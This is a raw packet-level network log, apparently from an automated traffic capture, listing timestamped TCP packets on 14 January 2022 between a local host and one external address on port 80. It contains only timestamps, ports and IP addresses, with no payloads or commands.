Jan 14, 2022 09:26:00.199024916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.199176073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.199389935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.199403048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.199527979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.199719906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.199747086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.199851036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200041056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200062037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200123072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200268984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200426102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200524092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200656891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200750113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200911045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.200932026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.201049089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.201188087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.201278925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.201421022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.201513052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.201656103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.201755047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.201920033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202016115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202153921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202250004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202415943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202436924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202608109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202625990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202754021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202897072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.202986002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.203080893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.203212976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.203372955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.203454018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.203598976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.203727007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.203912020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.203955889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.204092026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.204222918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.204366922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.204473972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.204643011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.204658031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.204833031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.204858065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.204965115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.205095053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.205220938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.205379963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.205467939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.205570936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.205720901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.205866098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.206020117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.206104994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.206252098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.206336021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.206449032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.206619024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.206780910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.206878901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.207026958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.207045078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.207184076 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.207334995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.207418919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.207560062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.207637072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.207751036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.207946062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.208058119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.208161116 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.212599039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.212882996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.213000059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.213078976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.213201046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.213404894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.213507891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.213671923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.213953018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.214088917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.214385033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.214531898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.214678049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.214833975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.215037107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.215049982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.215311050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.215379953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.215591908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.215604067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.215783119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.215796947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.215991020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216003895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216162920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216173887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216348886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216362953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216523886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216536045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216712952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216726065 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216895103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.216918945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217087030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217103958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217258930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217273951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217456102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217468977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217617035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217634916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217803955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217818022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217977047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.217991114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218164921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218182087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218341112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218362093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218529940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218545914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218708992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218723059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218889952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.218909025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219063044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219089985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219247103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219258070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219425917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219440937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219609022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219625950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219783068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219799042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219960928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.219971895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220135927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220149994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220324039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220336914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220510006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220527887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220689058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220704079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220868111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.220885992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221057892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221072912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221242905 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221259117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221431971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221445084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221792936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221811056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221818924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221823931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.221990108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222003937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222177029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222193003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222367048 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222382069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222562075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222578049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222661972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222856045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.222876072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.223043919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.223062038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.223149061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.223423004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.223447084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.223663092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.226253033 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.227849960 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.227880001 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.227904081 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.227931023 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.227957964 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.227984905 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.228012085 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.228038073 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.228064060 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.228091955 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.228116035 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.228142977 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.228168964 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.232681036 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.243590117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.247289896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.247464895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.247483015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.247647047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.247661114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.247838974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.247854948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248023987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248039007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248203993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248219967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248383045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248397112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248567104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248584032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248748064 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248763084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248933077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.248949051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.268280029 CET	80	49890	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.270283937 CET	49890	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.271975994 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.288494110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.288768053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.289279938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.289419889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.289585114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.289721966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.289963007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.290283918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.290456057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.290479898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.290707111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.290894032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.290990114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.291188955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.291203022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.291364908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.291507006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.291625023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.291719913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.291837931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.292011976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.292119980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.292251110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.292360067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.292516947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.292593956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.292695999 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.292889118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.293008089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.293118000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.293298006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.293379068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.293478012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.293580055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.293679953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.293818951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.293922901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.294070005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.294198036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.294296980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.294387102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.294527054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.294648886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.294754028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.294853926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.294995070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.295088053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.295232058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.296160936 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.296734095 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.300661087 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.300699949 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.302386045 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.302424908 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.302452087 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.302476883 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.305188894 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.309546947 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.309576988 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.309602022 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.312233925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.312549114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.312629938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.312783957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.312910080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.313091040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.313211918 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.313318968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.313596964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.313874006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.314140081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.314251900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.314452887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.314536095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.314699888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.314717054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.314846992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.314944029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.315139055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.315331936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.315428972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.315556049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.315666914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.315870047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.316066027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.316241026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.316405058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.316554070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.316643000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.316704035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.316823006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.316979885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.317068100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.317178011 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.317322016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.317497015 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.317512035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.317704916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.317722082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.317888975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.317903996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.318089008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.318106890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.318274021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.318289042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.318613052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.318629980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.318809032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.318824053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.318995953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.319014072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.319186926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.319201946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.319380045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.319397926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.319523096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.333623886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.333756924 CET	49891	80	192.168.2.4	185.215.113.35
